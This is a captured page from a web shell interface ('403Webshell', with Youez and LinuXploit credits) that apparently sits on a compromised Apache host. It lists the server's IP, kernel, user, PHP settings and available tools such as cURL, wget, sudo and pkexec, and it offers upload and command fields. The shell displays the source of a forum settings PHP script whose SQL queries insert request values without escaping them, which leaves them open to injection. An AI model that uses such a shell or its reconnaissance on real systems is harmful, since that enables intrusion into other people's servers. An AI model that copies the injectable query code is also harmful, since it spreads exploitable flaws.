403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/baberankings.com.bak/members/modules/forums/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/baberankings.com.bak/members/modules/forums//forum_do_settings.php
<?php

//check session
        include 'includes/verify_session.php';

		include 'modules/forums/get_rights.php';

		include 'modules/forums/strip_tags.php';

$en['p_text'] = replace_br($en['p_text']);

if (isset($en['sm'])) {
	$en['message'] = sql_escape_string(stripslashes($en['message']));
	$en['message'] = trim($en['message']);
	$signature_active = (isset($en['forum_settings_signature'])&&($en['forum_settings_signature']==1) ? $en['forum_settings_signature'] : 0);
	if ($en['forum_do_settings_for']=="update") {
		sql_query("UPDATE $fmembtable SET fm_signature='$en[message]', fm_signature_active='$en[forum_settings_signature]' WHERE fm_id=$en[m_id]");
	} else {
		sql_query("INSERT INTO $fmembtable SET fm_id='$en[m_id]', fm_signature='$en[message]', fm_signature_active='".$signature_active."'");
	}
}

ob_clean();
header('Location: '.constant('dir').'forums.html');
exit;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit